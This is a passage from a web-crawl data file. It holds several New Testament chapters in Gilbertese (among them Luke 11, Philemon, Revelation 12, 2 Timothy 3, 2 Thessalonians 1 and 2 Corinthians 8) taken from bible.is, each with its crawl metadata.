b'a ti kab'arai naba aia bure akana bure nako ira; ao tai kairira nakon te kaririaki. 5Ao E a manga taku Iesu nako ia ana reirei, Antai i roumi, ae iai raona, ae ko na kawaria n te nukanibong, ao ko na kangai nako ina, \"Raou, N na tangoi tennai am kariki. 6B'a iai raou ae roko i rou n ana tai ni m'ananga, ao akea te bae I kona n anganna b'a kanana.\" 7Ao ngaia, e kaeka mai nanon te auti ni kangai, \"Tai nako mai n aki karaua matu! E a in ngkai te mataroa, ao ae I a matu ma natiu. I aki kona n tei rake n anganiko te bae ko tangiria.\" 8I taku nako imi b'a tao e na aki tei rake n anganna i bukina ngke raoraona; ma i bukini kabatiaan ana bubuti, ao n aki mamaa n te baere e kainanoia. 9Ao I taku nako imi, Bubuti, ao ane kam na anganaki; ukeuke, ao ane kam na karekea; karebwerebwe, ao ane na kaukaki nako imi. 10B'a ane bubuti ao e na anganaki, ao ane ukeuke ao e na karekea, ao e na kaukaki te mataroa nakon ane karebwerebwe. 11Antai te karo i buakomi, ngkana e butiaki te ika iroun natina ao e anganna te naeta b'a oneani mwin te ika? 12Ke ngkana e bubuti te bunimoa, ao e anganna te tikaobian? 13Ngkai kam ata te angania natimi, ngkami aika kam buakaka, baika raraoi, ao tiaki e m'aiti riki iroun Tamami are i karawa te kan anga te Tamnei are Raoiroi nakoia akana butiia! 14E kanakoa te taimonio ae aki kona n taetae Iesu; ao ngke e nako ao e taetae teuare e bae newena; ao a mimi aomata. 15Ma a taku tem'angina i buakoia, \"E kanakoia taimonio iroun Beretebub'a, are aia uea taimonio!\" 16Ao tem'angina, a butiia Iesu te kanikina mai karawa, b'a a kan nora m'aakana. 17Ma E atai aia iango Iesu, ma ngaia are E taku nako ia, Te tautaeka ae bwenaua nakoni m'akoro aika kakaokoro, ngkana a eekiia nako i bon i rouia, ao e na aki tei maan te tautaeka anne. Ao te utu ae eekiia nako i bon i rouia a na bon bwenaua ke ni uamaae nako. 18Ao ngkana e a manga bon eekiianako Tatan i bon i rouna, ao e na kanga n tei ueana? I taekina aei i bukin ae kam taku b'a I kanakoia taimonio irouni Beretebub'a. 19Ao ngkana I kanakoia taimonio irouni Beretebub'a, ao natimi a kanakoia iroun antai? Ma ngaia are i bukin aei, ao a na riki natimi b'a taani motiki taekami. 20Ma ngkana ni m'aakan te Atua ae I kanakoia iai taimonio, ao nanona ngkanne b'a e a roko uean te Atua i aomi. 21Ngkana e kawakina mwengana te aomata ae aintoa, ae tauraoi ma ana b'ai n un, ao a rau ana b'ai. 22Ma ngkana e niniaki iroun ae aintoa riki nako ina ao e konaaki i rouna, ao teuanne e na anai ana b'ai n un teuare konaaki, ake e onimakin, ao e na tib'atib'ai nakoia raona. 23Ane aki mena i Rou, ao e rawa nako Iu; ao ane aki uaia ni boboti ma Ngai, ao e kamaae nako. 24Ngkana e a tia n oti nako te anti are buakaka mairoun te aomata, ao e nako n ri nukan taabo ake a rereua n ukoukora ana tabo ni motirawa iai; ao ngke akea ae e kunea, ao e taku, \"N na manga okira te auti are I a tia nako ngkoa maiai.\" 25Ngke e roko iai ao ni kunea b'a e a tia ni kaitiakaki ao ni baireaki raoi b'ain nanona, 26ao ngkanne, e nako ni kairiia itiman riki anti aika buakaka riki nako ina, ao a rin ni maeka ikekei; ao e a buakaka riki aron te aomata arei nakon are rimoa. 27Ngke E tia n atongi taeka akekei Iesu, ao e kanenea b'anaana te aine temanna i buakon te koraki arei, ao e taku nako Ina, \"E a kab'aia te biroto are bungiko ao mamma ake Ko mammai!\" 28Ao Ngaia E kangai, \"Te koaua, ma a kab'aia riki akana ongo ana taeka te Atua ao a kawakinna!\" 29Ngke a baneakina Iesu aomata aika m'aiti, ao E taku, Te roro aei bon te roro ae buakaka; a ukoukora te kanikina, ma akea ae a na anganaki, b'a ti te kanikina are e kaotia Iona. 30B'a aron te baere e karaoia Iona ngke e riki b'a te kanikina nakoia I-Ninewe, ao ai aron naba are E karaoia Natin te Aomata, e na riki b'a te kanikina nakoia te roro aei. 31Ane e na kaoti ueani maiaki te aine n te bongi ni motikitaeka ma kaain te roro aei, ao ane e na kabuakakaia; b'a e nako mai neierei man te tabo ae te kabanea n raroa b'a e na ongora n rabakaun Toromon, ao noria, iai ikai ae e kakannato riki nakon Toromon. 32Ane a na kaoti I-Ninewe n te bongi ni motikitaeka ma kaain te roro aei, ao ane a na kabuakakaia; b'a a rairi nanoia n ana kab'arab'ara Iona, ao noria, iai ikai ae e kakannato riki nakon Iona. 33Akea ane kaura te taura ni kaaki n te tabo ae raba i nanon te auti ke i aan te b'aketi, ma e kaaki i aoni nena, b'a a aonga n nora te oota aomata ake a rin. 34Matam, kanga ai aron te taura i bukin rab'atam; ngkana e raoiroi matam, ao e buta rab'atam ni kabanea n te oota; ma ngkana e aki raoiroi, ao e buta rab'atam ni kabanea n te roo. 35Ma ngaia ae ko na taraia raoi ngkanne b'a te oota ane i nanom tiaki te roo. 36Ngkana arona ngkanne b'a e buta rab'atam ni kabane n te oota n akea maiai ae e roo, ao e na tab'anin raoi ootana, n ai aron uran te taura ae anganiko ootana. 37Ngke E tia n atongi baikekei Iesu, ao E kaoaki iroun te B'aritaio temanna b'a E na am'arake ma Ngaia; ma ngaia are E rin n ana auti ao E tekateka n rarikiriki b'a E na am'arake. 38E mimi te B'aritaio ngke E aki teboki moa baina Iesu i m'ain te am'arake. 39Ao E taku te Uea nako ina, Ngkami aika B'aritaio, kam kaitiaka tinanikun te m'angko ma te raurau, ma a on nanomi n tangiran te kan tautaeka ma te kani kaub'ai, ao te buakaka. 40Ngkami aika baaba! Teuare karaoa tinanikun te b'ai, tiaki Ngaia naba are E karaoa nanona? 41Ma kam anga b'ai ake i nanon ami m'angko ma ami raurau b'a b'aai n akoi; ao noria, a bane n itiaki b'ai ni kabane i bukimi. 42Ma a na reke kaimi B'aritaio! B'a kam anganga teuana te katebwina ni m'akoro man aroka aika te minte, te rue, ao aroka aika boiarara baaia, ao kam aki karaoa nanon te eti ma ana tangira te Atua; baikai aika kam riai ni karaoi, n aki kaaki taekaia akekei. 43A na reke kaimi B'aritaio! B'a kam tangiri kaintoka aika moan raraoi i nanoni m'aneabaia I-Iutaia, ao kam tangiri katei ni karinerine n taabo ni m'akete b'a a na karaoaki nako imi. 44A na reke kaimi! B'a kanga ai aroni neia maate ngkami ake a aki noraki; a nakonako i aoia aomata b'a a aki ataia. 45E kaeka te rooia temanna ao e kangai, \"Te Tia Reirei, Ngkai Ko taekin am taeka akanne ao Ko kabuakakaira naba iai.\" 46Ao E taku Iesu: A na reke kaimi naba ngkami rooia! B'a kam kaaki i aoia aomata uota aika kamamate, ao ngkami, a aki bo naba teutana taboni baimi ma ngaai. 47A na reke kaimi! B'a kam karaoi m'akuri ni katamaroa nakon ruanimateia burabeti, are te koraki ake a tiringaki irouia ami bakatibu. 48Ma ngaia ae taani kakoaua ngkami nakon aia m'akuri ami bakatibu, ao kam kariai baike a karaoi: b'a a kamateia, ao kam karaoi ruanimateia. 49Ma ngaia are e taku Rabakaun te Atua, \"N na kanakoia burabeti ma taan tuatua nako ia, ao ane a na kamateia tem'angina, ao a na b'ainikiriniia tem'angina.\" 50B'a e tangiraki man te roro aei booni mwin raraaia burabeti ni kabaneia, ake a kawawaeaki ma ngke e moa ni karikaki aonnaba. 51Man te tai are e b'aka iai raraan Abera nakoni b'akan raraan Takaaria, are mate i marenan te baonikarea ma te um'antabu. Eng, I tuangngkami, b'a ane na tangiraki boona mairouia kaain te roro aei. 52A na reke kaimi rooia! B'a kam a tia n uota nako kingini mataroan te atatai; kam aki rin ngkami ao kam tukiia te koraki ake a kan rin. 53Ngke E oti nako Iesu man te tabo arei, ao taani koroboki ma B'aritaio, a kaununiia nako Ina, ao a kabatiai aia taeka n eekiianako b'a E aonga n taekini baika bati. 54A kani kam'anea ngkana iai buren ana taeka.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11","date":"2016-06-27T08:01:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395679.18\/warc\/CC-MAIN-20160624154955-00081-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1541,"character_repetition_ratio":0.041,"word_repetition_ratio":0.004,"special_characters_ratio":0.252,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni B'auro, ae kabureaki i bukini Kristo Iesu, ao mairoun Timoteo ae tarira; nakoni Biremon ae tangiraki ae raora ni m'akuri, 2ao nakon te ekaretia ane a bobotaki kaaina i nanon am auti, ao nakon Abebia ae m'anera ma Arekibo ae raora n tautia: 3Ami b'ai te akoaki ma te raoi mairoun te Atua ae Tamara ma te Uea are Iesu Kristo. 4I aki toki ni m'anea aram ngkana I tataro, ao I kaaitaua te Atua, 5ngkai I ongo taekan am tangira nakoia ake a itiaki ni kabaneia, ma onimakinan te Uea are Iesu i roum. 6Bon au tataro b'a arom n iraorao ma aomata i bukin am onimaki e na karika i rouia ataakin raoi baika raraoi ni kabane aika iai i roura, aika a kairira nakoni Kristo. 7B'a e bati au kim'areirei ma kabebetean nanou n am tangira, tariu, b'a a kamaiuaki nanoia ake a itiaki i roum. 8Ma ngaia aei, b'a bon iai au ninikoria ae bati, ngkai ti uaia n reitaki ma Kristo, n tuangko te bae ko riai ni karaoia. 9Ma i bukin te tangira, ao e a raoiroi riki i rou b'a N na butiko, ngai ae B'auro, ae te tia ua-rongorongo ae I kabureaki naba ngkai i bukini Kristo Iesu, 10I butiko i bukin Onetimo ae riki b'a natiu i nanoni Kristo; b'a i nanon au tai ni kabureaki, ao I a tia n riki b'a kanga tamana ngai. 11Akea manenana i roum ngkoa, ma iai ngkai manenana nako im ao nako iu naba; 12ae I a manga kaokia nako im, ma nanou ae bane i rouna. 13I kan taua b'a e na mena i rou, b'a e na bonota mwim n akoai ngkai I kabaeaki i bukin te euangkerio. 14Ma I aki kani karaoa te b'ai teuana, ngkana ko tuai ni kataua; b'a e kawa n riki akoakiu i roum b'a te bae ko tebonaki iai, ao tiaki te bae nako mai nanom. 15B'a tao e a tia n nako Onetimo mai roum i nanon te tai ae aki maan, b'a e aonga ni manga reke i roum ao n tiku i roum n aki toki; 16b'a kanga ai tiaki am toro, ma e raka riki arona i aon te toro: bon te tari ae tangiraki, ai moa ra i rou, ma e a moamoa riki nako im n te aro ni maiu i aon te aba ao n reitaki ma te Uea. 17Ma ngaia aei, ngkana ko taku b'a raom ngai, ao ko na m'aneia n akoia b'a kanga ngai. 18Ao ngkana tao e a tia ni karaoa ae kairua nako im ngkoa n te b'ai teuana, ke tao e tarau i roum, ao ko na taua mwina i aan arau. 19I a korea aei n tabonibaiu: Ngai ae B'auro, N na kaboa mwina nako im. Tiaki te b'ai ae riai i rou b'a N na taekina nako im ae ko bae i rou i bukini maium ni Kristian. 20Eng, tariu, I bia buokaki i roum i bukin te Uea: ko na kamaiua nanou ngkai ko reitaki ma Kristo. 21I koroboki nako im ma te aki nanokokoraki b'a ko na boni karaoi baika I taekin, ao I ataiko b'a ko na boni karaoa ae bati riki nakon ae I tuangko. 22Ao i rarikin naba aei, ko na katauraoa te tabo ae N na mena iai: b'a I kaantaninga ae kam na anganaki ngai b'a kaekaan ami tataro. 23E kamauriko Eb'abera, ae raou ni kabaeaki i bukini Kristo Iesu; 24ao a kamauriko naba Mareko, ma Arititareko, ma Tema, ma Ruka, aika raou ni m'akuri. 25E na mena ana akoi ara Uea are Iesu Kristo irouia tamneimi. Amen.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Phlm\/1","date":"2016-07-01T21:48:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783403825.35\/warc\/CC-MAIN-20160624155003-00132-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":606,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.381,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e kaoti te b'ai ae e rangi ni kamimii taraana i karawa: te aine ae kunnikaiaki n taai, ao e mena nam'akaina i aani waena, ao te baunuea ae tebwi ma uoua itoina i aon atuna. 2E bikoukou neierei; ao e tangi n takarua ngke e ariri, b'a e nangi bung. 3Ao e a manga kaoti te b'ai riki teuana i karawa ae e rangi ni kamimii naba taraana: te man ae te rakon ae korakora ae uraura, ao itiua atuna ao tengauni korona, ao itiua te baunuea i aon atuna. 4Ao bukina e uakina iai kateni-m'akoroni m'aitin itoini karawa, ao e tewe nako aon te aba; ao e tei te rakon i matan te aine are nangi bung, b'a e na kana natina n te tai are e bungiaki iai. 5Ao neierei e bungia natina ae te m'ane, ae na tauu taekaia botannaomata ni kabaneia, ni kairiia ma te matoa; ao e na anaaki natina n uotaki rake nakon te Atua ao nakon ana kaintokanuea. 6Ao e biri nako te aine arei nakon te rereua, nakon te tabo are E katauraoia te Atua i bukina, ike e na tararuaki iai i nanon tengaa ao uabubua ao onongaun te bong. 7Ao e riki te buaka i karawa: Mikaera ma ana anera a buakana te rakon; ao e buaka te rakon ma ana anera, 8ma a aki tokanikai; ao e aki manga noraki neia i karawa. 9Ao e teweaki nako mai eta te rakon are korakora, are te naeta are ngkoangkoa, are arana te Riaboro ke Tatan, are m'am'anaia kaain aonnaba ni kabaneia: e teweaki nako aon te aba, ao a teweaki nako naba ana anera ma ngaia. 10Ao I ongo te b'ana ae korakora i karawa, b'a e kaangai, \"E a roko ngkai ana kamaiu Atuara, ma m'aakana ma ueana, ma m'aakan ana Kristo: b'a e a tia n teweaki nako te tia bukiniia tarira, ni kabuakakaia i matan Atuara ni ngaina ao ni bong. 11Ao a kataea ana kai n raraan te Tiibuteteei ao n te koaua are a tataekinna; ao a kukurei n anga maiuia ma ni mate naba. 12Ma ngaia ae kam na kim'areirei, ngkami aika taiani karawa, ao ngkami aika kam maeka iai. E na reke kain te aba ma marawa! B'a e a tia n ruo nakoimi te riaboro ma unna ae korakora, ngkae e ataia b'a e a uarereke ana tai.\" 13Ao te rakon, ngke e ataia b'a e a tia n teweaki nako aon te aba, ao e nako ni kakioa te aine are bungia natina are te m'ane. 14Ao e anganaki neierei bain te ikare aika uaai aika ab'ab'aki, b'a e na kibakiba nakon te rereua nakon ana tabo, ike e na tararuaki iai i nanon tenua ma te iterana te ririki, ao ike e raroa nako iai mairoun te naeta. 15Ao te naeta e katinakoa te ran ae kanga ai aron te karaanga mai wina b'a e na raanga n ri mwin te aine, b'a e aonga n ae e uota nako neierei. 16Ao aontano e buoka neierei: e kaurea wina aontano ao e oonga te karaanga are e katinakoa te rakon mai wina. 17Ao e un te rakon nakon te aine arei, ao e nako b'a e na buakaniia natin neierei ake tabem'aang, ake a kakawakin ana tua te Atua, ma n teimatoa n taua te koaua are E kaotiotia Iesu. 18Ao e tei te rakon i aon te bike i rarikin tari.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/12","date":"2016-06-30T17:56:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783399106.96\/warc\/CC-MAIN-20160624154959-00018-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":575,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14Ao e m'am'anaia ake a maeka i aon te aba ni kanikina ake e anganaki b'a e na karaoi i matan te man are moa ni kaoti; ao e tuangiia ake a maeka i aon te aba b'a a na karaoa te bouananti ae na katotonga aron tein rab'atan te man are aki mate ngke e ikoaki n te kabaang.\nTE KAOTIOTI 13:14\nFREE!\nOne App.\n1193 Languages.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/14","date":"2016-06-30T08:50:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783398216.41\/warc\/CC-MAIN-20160624154958-00049-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.000009298324585}","num_words":66,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.277,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ko na ata aei, b'a ane a na roko taai aika kamamate ni boong aika kabaneani boong. 2B'a ane a na riki aomata b'a taan tangiriia i bon i rouia, taani baki-tianti, taani kamoamoaia, taani kainikatonga, taan taetaebuaka, taan aki-ongeaba nakoia aia karo, taani bangaomata, taani kam'araai ana b'ai te Atua, 3taani babakaine, taani kainamatoa, taani winanti, taan akiako, taan tiritiri, taan riba te raoiroi, 4taani kam'anea te aba, taan aki kuba b'a tera ae na riki i mwin te baere a karaoia, taan nanorieta, taan tangira riki kukurein nanoia nakon tangiran te Atua; 5aongkoa taan taua te Aro, ma a oti ni maiuia b'a akea nanon tauan te Aro i rouia. Ko na tan nako mani baikai. 6Iai tem'angina i buakoia aika kawari aia auti aomata ao a anai nanoia aine aika akea aia iango ngkai a taonaki n rawawatani mwin aia bure aika bati, ao a kairaki n aeka n naano ni kaib'ab'aru aika bati. 7Aine aika aki toki ni kani karekei rabakauia, ma e bon aki kona n reke i rouia ataakin te koaua. 8B'a ai aroia Ianne ma Iambere ngke a eekaanako Mote, ao ai aroia naba aomata aikai n eekaanako te koaua, aomata aika babanga n iango, ao taan aki onimaki ni koaua. 9Ma ane a na aki maan n aroia anne, ao a na ataaki aroia n nanobaba irouia aomata, n ai aron naba are e riki nakoia Ianne ma Iambere. 10Ma ngkoe, ko a tia n tou mwin au reirei, ma aroarou, ma oin au kaantaninga, ma au onimaki, ma taotaonan nanou, ma au tangira, ma nanom'akau, 11ma b'ainikirinau nako, ma marakiu nako, ake a ituai i Antioka, i Ikonio, ao i Rutetera; ake b'ainikirinau ake I taona nanou nako iai; ao E kamaiuai te Uea mani baikai ni kabane. 12Ao ane a na bane ni b'ainikirinaki naba akana kani kabane aia bong ni maiu n iraorao ma te Atua ngkai a reitaki ma Kristo Iesu; 13ma aomata aika buakaka ma aika m'am'anaa te aba n aroia n atongiia b'a aomata tabem'aang ngke bon tiaki ngaiia; ane a na rikirake aroia man ae buakaka nakon ae buakaka riki, ni bureburea te aba ao ni burebureaki i bon i rouia. 14Ma ngkoe, ko na tai toki n tauu ni kamatoai baikana ko reireiaki iai, akana ko kakoauai raoi, ngkai ko ataiia ake a reireiniko iai; 15ao ko ataia b'a ma ngke te merimeri ngkoe ao ko a kaman ata te B'aib'ara ae tabu, b'a e kona ni kawanawanako ma ni kairiko nakon te kamaiuaki are reke n onimakinani Kristo Iesu. 16Te B'aib'ara ni kabanea bon ana taeka te Atua, ao e manena i bukin te reirei, ma boaan te bure, ma manga-kaetan te kairua, ao i bukin te reirei aroni karaoan nanon te Atua: 17b'a e aonga ni konab'ai ma ni bobonga raoi nakoni karaoani baika raraoi ni kabane ana aomata te Atua.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Tim\/3","date":"2016-06-28T15:37:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396945.81\/warc\/CC-MAIN-20160624154956-00113-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":481,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.351,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni B'auro, ma Tirouano, ma Timoteo, nakoia kaain te ekaretia i Tetaronike aika ana b'ai te Atua ae Tamara ma te Uea are Iesu Kristo; 2Ami b'ai te akoaki ma te raoi mairoun te Atua ae Tamara ma te Uea are Iesu Kristo. 3Taari, ti bon riai ni katituaraoa te Atua n taai nako i bukimi, ngkae e riki rake ni matoatoa ami onimaki, ao e kabatiaki ami i-tangitangiri ni kabaneingkami. 4Ma ngaia ae ti kamoamoaira i bukimi i buakoia ana ekaretia te Atua, i bukin taonan nanomi ma ami onimaki ri buakon taiani b'ainikirinaki ma rawawata ni kabane aika kam taonaki iai. 5E a kaotaki ni baikai b'a e eti ana moti te Atua b'a kam aonga n atongaki b'a kam tau n anganaki uean te Atua, are kam b'ainikirinaki i bukina. 6B'a te b'ai ae riai iroun te Atua b'a E na karawawataia te koraki ake a karawawataingkami; 7ao E na anganingkami, ngkami akana kam karawawataki, kabebeteami ma ngaira, ngkana E kaoti ara Uea are Iesu mai karawa ma ana anera aika m'aka, 8ma te ai ae ura m'aka. E na kareke kaiia ake a aki ira nanon euangkerion ara Uea are Iesu Kristo. 9Te rekenikai nako ia bon te mate are akea tokina, ao a na kararoaki mai matan te Uea ao mani m'aakana ae kamimii arona, 10ngkana E roko te bong arei b'a E na neboaki irouia ana aomata aika itiaki, ma ni kamoamoaki irouia aika onimaki. Ngkami naba i buakoia, i bukina ngkai kam a tia ni kakoaua te rongorongo are ti taekinna nako imi. 11Anne bukin ae ti aki toki iai n tataro i bukimi, b'a E na karaoingkami Atuara b'a kam na tau nakon te maiu are E a tia ni weteingkami nako iai b'a kam na b'ainna; ao E na kabongana m'aakana ni kakororaoa nanomi n tangira te raoiroi, ma ni katiai baika kam karaoi i bukin ami onimaki; 12b'a e aonga n neboaki aran ara Uea are Iesu Kristo i roumi, ao ngkami kam na neboaki i Rouna n ai aron ana akoi Atuara ma te Uea are Iesu Kristo.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Thess\/1","date":"2016-06-26T23:36:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395560.69\/warc\/CC-MAIN-20160624154955-00140-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":350,"character_repetition_ratio":0.076,"word_repetition_ratio":0.006,"special_characters_ratio":0.229,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, ti tangiringkami b'a kam na ata ana akoi te Atua are e nonoraki arona n ekaretia nako i M'aketonia: 2b'a e boni ngae ngke a kataaki n te rawawata ae bati, ao a aki kaub'ai, ma i bukin nanoia ae onrake n te kim'areirei, ao a anga ae bati ma te tituaraoi. 3I kakoaua aroia b'a a anga n ai aron aia kona, ao a karakai riki, i bukin nanoia ni kan anga; 4ao a kakorakoraia ni butira b'a ti na butim'aea nanoia ni kani buokiia ake a itiaki ake i Iutaia. 5Tiaki aei are ti kaantaningaia; ma a anga ngaiia moa nakon te UEA, ao i mwina nako ira, n ai aron nanon te Atua. 6Ma ngaia ae ti butiia Tito, b'a ngkai ngaia are e moana karaoan te m'akuri n akoi aei, ao e bon riai naba ni katia i buakomi. 7A rianako aromi ni b'aai ni kabane: n te onimaki, n te taetae, n te atatai, n te nano ae korakora ni kan i buobuoki, ao n ami tangira i bukira; ao taraia b'a e na rianako naba aromi n te m'akuri n akoi aei. 8Ae I taekinna bon tiaki te tua, ma I taekinna b'a e na kakoauaki n aroia tem'angina ae korakora ni kan i buobuoki, b'a ngaia bon iai naba koauan ami tangira. 9B'a kam ata ana akoi ara UEA are Iesu Kristo, b'a ngke E kaub'ai, ao E riki n aki kaub'ai i bukimi, b'a kam aonga ni kaub'ai n ana aki kaub'ai. 10Ao I kaota nanou n te baei: b'a e bon riai aei i roumi, ngkai kam aki ti tabeka moani karaoana, ma kam a kamani kani karaoia naba man te ririki are nako. 11Ma ngaia ae kam na katia karaoana; b'a ngkai bon iai nanomi ae korakora ni kani karaoia, ao e na boni katiaaki ni baika iai i roumi. 12B'a ngkana iai te nano ae korakora ni kan anga ao e butim'aeaki te b'ai n akoi n ai aroni m'aitin are e anga te aomata, ma tiaki n ai aron aekan ana b'ai. 13I aki nanonna n ae a na kabebeteaki aomata tem'angina ao ngkami kam na karawawataki; ma a na boraoi aromi; 14b'a ngkai a bati ami b'ai n te tai aei, ao e raoiroi b'a kam na buokiia te koraki ake iai kainanoia; ao ngkana iai kainanomi, ao ngaiia a bati aia b'ai, ao a na manga buokingkami; ao a kaboraoaki aromi n te aro aei, 15n ai aron are koreaki ni kangai: \"Ane rikoriko ni kabatia, ao akea nikirana; Ane rikorikoa ae ti teutana, ao e aki kai nanona.\" 16Ma E na katituaraoaki te Atua, are kaki i nanon Tito te nano ae ti te bo ma nanora i bukini buokami. 17B'a e aki ti butim'aea ara bubuti, ma bon iai nanona ni kani buokingkami, ma ngaia are e a tia ni baireia n oin nanona b'a e na nako imi. 18Ti kanakoa nako imi Tito ma raona temanna ae te tia onimaki ae rangi n ataaki n ekaretia nako i bukin arona n tataekina te euangkerio; 19ao tiaki ti aei, ma e a tia n rineaki naba irouia taian ekaretia b'a raora ni m'am'ananga n te m'akuri n akoi aei, ae ti tabe iai ngkai i bukin neboan te UEA, ao ni kaotira iai b'a ti kan i buobuoki. 20Iai nanora b'a ti aki kani bukinaki iroun temanna i bukin arora ni kawakina te b'ai n tituaraoi ae m'aiti aei. 21B'a nanora bon te kani karaoi baika raraoi, tiaki ti i matan te UEA ma i mataia naba aomata. 22Ao ti kanakoa ma ngaiia tarira, are ti rangi ni kakoaua i mwini kataakina i roura n taai aika bati b'a iai i rouna te nano ni kan i buobuoki n aaro nako; ao ngkai iai i rouna onimakinakimi, ao e a rangi ni korakora riki nanona ni kan i buobuoki. 23Ao i bukini ngkanne Tito, bon raou ae e m'akuri ma ngai i bukini buokami; ao i bukiia taari ake a na m'ananga ma Tito, bon aomata aika kam'anangaaki i bukin taian ekaretia; taan neboa Kristo n aia m'akuri. 24Ma ngaia ae kam na kaota nako ia aron ami tangira ma bukini kamoamoara i bukimi b'a a na noraki irouia taian ekaretia.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/8","date":"2016-07-02T08:28:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783408840.13\/warc\/CC-MAIN-20160624155008-00038-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":709,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, taari aika kam itiaki, aika raou ni weteaki mai karawa, kam na iangoa te Tia Tuatua are Iesu, are Mataniwiia ibonga n te onimaki ae ti tataekinna. 2E kakaonimaki nakon Teuare rineaki i Rouna b'a E na karaoa ana m'akuri, n ai aroni Moote ngke e kakaonimaki nakon ana m'akuri i bukiia ana aomata te Atua. 3B'a E atongaki Teuaei b'a e riai ni m'aiti riki neboakina nakon neboakini Moote, n ai aron te tia kateitei ae e riai ni m'aiti riki karineana nakoni karinean te auti are e kateia. 4B'a auti n tatabeua nako a kateaki iroun temanna ma temanna; ma ane E karaoi kateitei ni kabane bon te Atua. 5E kakaonimaki Moote n ana m'akuri i bukiia ana aomata te Atua ngkai te toro ngaia, ao n arona aei e a kaoti iai baika a na atongaki rimwi iroun te Atua. 6Ma Kristo E kakaonimaki b'a te Nati Ngaia ae iai tabena i bukiia ana aomata te Atua. Bon ana aomata ngaira ngkana ti teimatoa ni karokoa te toki ni b'aina te aki nanokokoraki ma te kakatonga n te baere ti kaantaningaia. 7Ma ngaia aei, n ai aron ana taeka te Tamnei are Raoiroi, ae kangai: \"Ngkana kam ongo b'anaan te Atua n te bong aei, 8ao kam na tai kamatoatoai nanomi, n ai aroia te koraki ngkoa ake a rawa ni kani kairaki n tain te kataaki n te rereua. 9Ike a kariria iai te Atua ami bakatibu ni kataia, ao a nori naba ana m'akuri angaun te ririki. 10Ma ngaia are E un te Atua nakon te roro arei, Ao E kangai, 'A aki toki ni bubure i nanoia; ao a aki atai arou nako.' 11Ma ngaia are I taetae n tuea iai ngke I un: 'B'a a na aki rin i nanon au motirawa!' \" 12Kam na tarataraingkami, taari, b'a e na aki mena iroun temanna i buakomi, te nano ae buakaka ae aki onimaki, ae te kani kitana te Atua ae maiu. 13Ma kam na i kaungaingkami n te bong ae koraki, ngkae e atongaki b'a Te bong aei; b'a e kawa temanna i buakomi ni m'am'anaki n te bure ao e riki ni matoatoa iai nanona. 14B'a ti riki b'a raao ngaira ma Kristo ngkana ti taua ni kamatoa ni karokoa te toki te aki nanokokoraki are reke i roura ngke ti moa n onimaki. 15B'a e kangai te B'aib'ara: 